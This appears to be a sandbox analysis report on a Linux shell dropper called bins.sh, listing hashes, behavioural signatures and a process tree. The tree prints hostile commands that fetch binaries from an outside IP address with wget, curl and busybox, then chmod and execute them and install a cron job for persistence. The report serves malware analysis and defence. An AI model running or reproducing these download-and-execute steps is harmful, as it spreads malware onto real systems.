Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26/11/2024, 12:23

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fc41e96c416e7e08c67b3b8a90dc5281

  • SHA1

    2e32b0e3f9f7b76565855b1b51caefe1b5baa43f

  • SHA256

    ad854bdbc344eddc4f97eb6ac8e45f35db706a8341b459c89579ca05515c23c6

  • SHA512

    593594493042937480a0f6493a50e4eb6b6b307fd8fff7d371d1ad001146e5c771aed934cffb0693193e1bc35c691c926fd4d42edb4a3d4fccdd274ad1c0ee77

  • SSDEEP

    192:1x9NM03//ciijgqZ/XlZ/Xlii/ox9NM0t:1x9NM03//ciijgYriiQx9NM0t

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1511
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1512
        • /usr/bin/wget
          wget http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Writes file to tmp directory
          PID:1513
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Writes file to tmp directory
          PID:1518
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Writes file to tmp directory
          PID:1519
        • /bin/chmod
          chmod 777 AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • File and Directory Permissions Modification
          PID:1520
        • /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          ./AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1521
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1523
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1524
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1525
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1526
              • /bin/rm
                rm AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
                2⤵
                  PID:1528
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
                  2⤵
                    PID:1531

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04

                  Filesize

                  99KB

                  MD5

                  9438d9bc392bcf300a5583b6df5bc8f6

                  SHA1

                  375a6ae34b516f6f3eeea8030c4084f585017efa

                  SHA256

                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                  SHA512

                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                • /var/spool/cron/crontabs/tmp.YWTwUB

                  Filesize

                  210B

                  MD5

                  fcb18997579e45b19ed607076b638c81

                  SHA1

                  1daed8d7dd557892e14907280443910abf0bb394

                  SHA256

                  8ca180497d96933483c5b7748cc2452fba13c1d3d0bc3ec615522a9c668b69df

                  SHA512

                  7fc0e623fce243a6863e55f6b914b7354ceb86306a556553f43e8b07495f3be0d39d636aa18f7190b1d9abfebf2b4647359a137a59d9db9c4384ead6c22749f1